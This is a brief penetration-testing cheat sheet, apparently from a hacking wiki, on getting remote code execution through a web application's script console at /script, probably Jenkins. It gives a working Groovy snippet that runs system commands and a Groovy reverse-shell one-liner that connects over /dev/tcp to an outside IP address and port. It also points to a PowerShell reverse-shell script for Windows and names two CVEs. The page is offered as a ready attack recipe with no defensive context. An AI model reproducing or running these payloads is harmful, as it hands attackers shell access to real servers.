githubEdit

exploit

Linux OS

Remote code execution

Login into the web application
Go to /script

# Run commands using GROOVY code
def cmd = 'id'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println sout

Get reverse shell

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.14.15/8443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Windows OS

Run commands

Get RDP or WinRM access - Invoke-PowerShellTcp.ps1arrow-up-right

Get reverse shell

Vulnerabilities

  • CVE-2019-1003000 - RCE

  • CVE-2018-1999002

Last updated